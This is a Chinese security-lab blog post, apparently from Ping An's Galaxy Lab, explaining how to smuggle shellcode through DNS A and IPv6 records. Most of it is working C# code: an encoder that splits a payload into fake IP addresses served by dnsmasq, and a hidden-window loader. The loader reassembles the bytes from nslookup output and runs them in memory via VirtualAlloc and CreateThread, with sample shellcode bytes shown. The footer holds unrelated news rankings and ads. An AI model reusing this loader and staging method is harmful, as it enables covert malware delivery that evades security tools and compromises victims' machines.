利用DNS A记录执行Shellcode
作者简介 /Profile/
罗逸,平安科技银河实验室资深安全研究员,从业7年,专注红蓝对抗研究,擅长免杀技术、目标控制、内网渗透等。
0x01 什么是dns A记录
0x02 DNS A记录的利用思路
2.1 工具DNSmasq
2.2 利用思路
2.3 dns A记录传输数据优点
0x03 IPV4 DNS A记录的利用设计
3.1 使用限制
3.2 设计思路
3.3 代码实现
3.3.1 Dns_Create
3.3.2 开启DNS服务器
3.3.3 读取DNS A记录的Loader
3.4 利用结果
0x04 IPV6 DNS A记录的利用设计
4.1 ipv6格式
4.2 ipv6解析详情
4.3 IPV6 DNS A记录传输数据
4.4 C#实现IPV6 DNS A记录传输数据
4.4.1 DnsCreater
4.4.2 开启dns服务
4.4.3 IPV6 DNS A记录Loader
4.5 利用结果
0x05 拓展思路
0x06 结论
0x01 什么是DNS A记录
λ nslookup micorsoft.com 8.8.8.8服务器: google-public-dns-a.google.comAddress: 8.8.8.8非权威应答:名称: micorsoft.comAddress: 209.15.13.134
0x02 DNS A记录的利用思路
2.1 工具DNSmasq
vim /etc/hosts#添加下面一行192.168.1.22 java.com
dnsmasq --no-daemon --log-queries

2.2 利用思路
2.3 dns A记录传输数据优点
0x03 IPV4 DNS A记录的利用设计
3.1 使用限制
0.0.51.66 java.com #能解析192.168.1.255 java.com #能解析192.168.1.256 java.com #不能解析192.168.333.255 java.com #不能解析
[xxx.xx.xxx].[yyy]3.2 设计思路
首先解决DNS A记录解析无序的问题
解决合理的IP数据解析的问题
3.3 代码实现
3.3.1 Dns_Create
string[] payload = _Payload.Replace(" ", "").Split(',');int ip_counter = 0;if (payload.Length % 3 == 0){ip_counter = payload.Length / 3;}else{ip_counter = (payload.Length / 3 + 1);}int[] payload_int = new int[ip_counter * 3];for (int i = 0; i < payload.Length; i++){payload_int[i] = Convert.ToInt32(payload[i], 16);}
if (ip_counter <= 256){for (int i = 0; i < ip_counter; i++){string ip = null;for (int j = 0; j < 3; j++){ip += payload_int[i * 3 + j] + ".";}Console.WriteLine("{0} {1}", ip + i, "Microsoft.com"); //注意此处填充ip的最后一位i,其实是payload的排列顺序,在得到解析数据后要根据它来排序出正确顺序的payload。}}else{...}
252.232.137.0 Microsoft.com0.0.0.1 Microsoft.com96.137.229.2 Microsoft.com49.210.100.3 Microsoft.com139.82.48.4 Microsoft.com139.82.12.5 Microsoft.com...198.139.7.11 Google.com1.195.133.12 Google.com192.117.229.13 Google.com88.195.232.14 Google.com137.253.255.15 Google.com255.49.48.16 Google.com46.48.46.17 Google.com48.46.56.18 Google.com0.0.0.19 Google.com0.0.0.20 Google.com
3.3.2 开启DNS服务器
vim /etc/hosts96.137.229.2 Microsoft.com49.210.100.3 Microsoft.com139.82.48.4 Microsoft.com139.82.12.5 Microsoft.com...198.139.7.11 Google.com1.195.133.12 Google.com192.117.229.13 Google.com
dnsmasq #启动dnsmasqdnsmasq --no-daemon --log-queries #记录日志
λ nslookup microsoft.com 10.0.0.88服务器: UnKnownAddress: 10.0.0.88名称: microsoft.comAddresses: 0.0.0.196.137.229.249.210.100.3139.82.48.4139.82.12.5139.82.20.6139.114.40.715.183.74.8
3.3.3 读取DNS A记录的Loader
ProcessStartInfo ns_Prcs_info = new ProcessStartInfo("nslookup.exe", DomainName + " " + DnsServer);ns_Prcs_info.RedirectStandardInput = true;ns_Prcs_info.RedirectStandardOutput = true;ns_Prcs_info.UseShellExecute = false;Process nslookup = new Process();nslookup.StartInfo = ns_Prcs_info;nslookup.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;nslookup.Start();string computerList = nslookup.StandardOutput.ReadToEnd();
服务器: UnKnownAddress: 10.0.0.88名称: microsoft.comAddresses: 0.0.0.196.137.229.249.210.100.3
//格式化接收到的数据string[] lines = computerList.Replace("\t","").Replace("\r","").Split('\n');int ID = 0;//删除解析头数据foreach (var item in lines){if (item.Contains(DNS_PTR_A)){break;}ID++;}//将解析的ip数据存入数组List<string> A_Records = new List<string>();try{int FindID_FirstAddress = ID + 1;A_Records.Add(lines[FindID_FirstAddress].Split(':')[1].Substring(2));for (int iq = FindID_FirstAddress + 1; iq < lines.Length - 2; iq++){A_Records.Add(lines[iq].Replace(" ",""));}}
List<int> Keys = new List<int>();List<string> Values = new List<string>();foreach (var item in A_Records){int key = int.Parse(item.Split('.')[3]);Keys.Add(key);Values.Add(item);}var dict = new Dictionary<int, string>();for (int i = 0; i < Keys.Count; i++)dict.Add(Keys[i], Values[i]);Keys.Sort();List<string> sortedVals = new List<string>();for (int i = 0; i < Keys.Count; i++){sortedVals.Add(dict[Keys[i]]);}
byte[] XxXPayload = new byte[sortedVals.Count * 3];Int32 Xnumber = 0;for (int i = 0; i < sortedVals.Count; i++){string[] temp = sortedVals[i].Split('.');XxXPayload[Xnumber] = Convert.ToByte(temp[0]);XxXPayload[Xnumber + 1] = Convert.ToByte(temp[1]);XxXPayload[Xnumber + 2] = Convert.ToByte(temp[2]);Xnumber++;Xnumber++;Xnumber++;}
List<byte> data = new List<byte>();byte[] data1 = __nslookup("Microsoft.com", dns_server);data.AddRange(data1);byte[] data2 = __nslookup("Google.com", dns_server);if(data2 != null)data.AddRange(data2);byte[] _Exfiltration_DATA_Bytes_A_Records = data.ToArray();
UInt32 funcAddr = VirtualAlloc(0, (UInt32)_Exfiltration_DATA_Bytes_A_Records.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);Marshal.Copy(_Exfiltration_DATA_Bytes_A_Records, 0, (IntPtr)(funcAddr), _Exfiltration_DATA_Bytes_A_Records.Length);IntPtr hThread = IntPtr.Zero;UInt32 threadId = 0;IntPtr pinfo = IntPtr.Zero;hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);WaitForSingleObject(hThread, 0xFFFFFFFF);
3.4 利用结果



0x04 IPV6 DNS A记录的利用设计
4.1 ipv6格式
fe80:1111:0034:abcd:ef00:ab11:ccf1:0000[xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx]:[yyyy]4.2 ipv6解析详情
4805:0000:0000:0011:e87f:0000:0000:0065 - 4805::11:e87f:0:0:650000:0000:0000:302e:302e:3800:FFFF:0066 - ::302e:302e:3800:ffff:663800:0000:0000:302e:302e:3800:FFFF:0066 - 3800::302e:302e:3800:ffff:663800:0000:0000:0000:0000:3800:FFFF:0066 - 3800::3800:ffff:663800:0000:0000:0000:0000:3800:0000:0066 - 3800::3800:0:66
#payload:0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2#格式化成ipv6的解析格式(FFFF是对当payload不是14的倍数时,对ipv6地址的填充)fc48:83e4:f0e8:c800:0000:0000:4150:52515648:31d2:FFFF:FFFF:FFFF:FFFF:FFFF:FFFF#解析结果fc48:83e4:f0e8:c800::4150:52515648:31d2:ffff:ffff:ffff:ffff:ffff:ffff
λ nslookup test.com 10.0.0.88服务器: UnKnownAddress: 10.0.0.88名称: test.comAddresses: fc48:83e4:f0e8:c800::4150:52515648:31d2:ffff:ffff:ffff:ffff:ffff:ffff
4.3 IPV6 DNS A记录传输数据
解析数据的无序性
ipv6的压缩表示法造成的数据不完整
4.4 C#实现IPV6 DNS A记录传输数据
4.4.1 DnsCreater
string[] payload = _Payload.Replace(" ", "").Replace("0x","").Replace("00","aa").Split(',');int ip_counter = 0;if (payload.Length % 14 == 0){ip_counter = payload.Length / 14;}else{ip_counter = (payload.Length / 14 + 1);}
int n = 0;int f = 0;try{for (; n < 7; n++){for (int m = 0; m < 2; m++){p += payload[flag];f++;flag++;}p += ":";f = 0;}}
catch{switch (n){case 0: p += "FF:FFFF:FFFF:FFFF:FFFF:FFFF:FFFF:"; break;case 1:if (f == 0) {p += "FFFF:FFFF:FFFF:FFFF:FFFF:FFFF:";}else{p += "FF:FFFF:FFFF:FFFF:FFFF:FFFF:";}break;...}}
int v = i + 1;Console.WriteLine("{0}{1} {2}", p, v.ToString("0000"), "Microsoft.com");
fc48:83e4:f0e8:c8aa:aaaa:4151:4150:0001 Microsoft.com5251:5648:31d2:6548:8b52:6048:8b52:0002 Microsoft.com1848:8b52:2048:8b72:5048:0fb7:4a4a:0003 Microsoft.com...4805:aaaa:aaaa:50c3:e87f:fdff:ff31:0065 Microsoft.com302e:302e:302e:38aa:aaaa:aaaa:FFFF:0066 Microsoft.com
4.4.2 开启dns服务
4.4.3 IPV6 DNS A记录Loader
public static string __zero(string str){string[] temp_normalize = str.Split(':');for (int ix = 0; ix < temp_normalize.Length; ix++){int count = temp_normalize[ix].Length;if (count < 4){Console.ForegroundColor = ConsoleColor.Green;for (int j = 0; j < 4 - count; j++){temp_normalize[ix] = "0" + temp_normalize[ix];}}}return string.Join(":", temp_normalize);}
string[] All_lines = computerList.Replace("\t", "").Replace("\r", "").Split('\n');int start = 0;List<string> A_Records = new List<string>();for (int x = 0; x < All_lines.Length; x++){if (All_lines[x].ToUpper().Contains("ADDRESSES:")){int f = All_lines[x].IndexOf("Addresses: ") + "Addresses: ".Length;string str = All_lines[x].Substring(f, All_lines[x].Length - 12);A_Records.Add(__zero(str));start = x;break;}}
for(int i = start + 1; i < All_lines.Length - 2; i++){string str = All_lines[i].Replace(" ", "");A_Records.Add(__zero(str));}
List<string> Keys = new List<string>();List<string> Values = new List<string>();foreach (var item in A_Records){string key = item.Split(':')[7];Keys.Add(key);string value = "";for(int i = 0; i <= 6; i++){value += item.Split(':')[i];}Values.Add(value);}var dict = new Dictionary<string, string>();for (int i = 0; i < Keys.Count; i++)dict.Add(Keys[i], Values[i]);Keys.Sort();string DATA = "";for (int i = 0; i < Keys.Count; i++){DATA += dict[Keys[i]];}
string tmp = string.Empty;byte[] __Bytes = new byte[DATA.Length / 2];string t = string.Empty;for (int i = 0; i < __Bytes.Length; i++){int str_start = i * 2;tmp = DATA.Substring(str_start, 2);if (tmp == "aa")tmp = "00";t += tmp;byte current = Convert.ToByte("0x" + tmp.ToString(), 16);__Bytes[i] = current;}
4.5 利用结果

0x05 拓展思路
0x06 结论
银河实验室

往期回顾
技术
技术
技术
技术



长按识别二维码关注我们
微信号:PSRC_Team

球分享

球点赞

球在看
关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
关注网络尖刀微信公众号随时掌握互联网精彩
- 1 习近平同马克龙交流互动的经典瞬间 7904760
- 2 公考枪手替考89次敛财千万 7809170
- 3 渐冻人姑娘为自己办了场生命告别会 7713149
- 4 2025你的消费习惯“更新”了吗 7618427
- 5 流拍4次的百达翡丽再挂拍 估值4千万 7524092
- 6 一身塑料过冬?聚酯纤维真是塑料瓶吗 7426285
- 7 黑龙江水库冰面下现13匹冰冻马 7332316
- 8 女子裤子内藏2斤多活虫入境被查 7234510
- 9 15岁高中生捐赠南京大屠杀日军罪证 7136050
- 10 中疾控流感防治七问七答 7047265






![lingyu69秀人 [XIUREN] 2025.05.07](https://imgs.knowsafe.com:8087/img/aideep/2025/5/13/bc16a76d3c6b0631e4c8dbe47bcaadf2.jpg?w=250)
平安安全应急响应中心
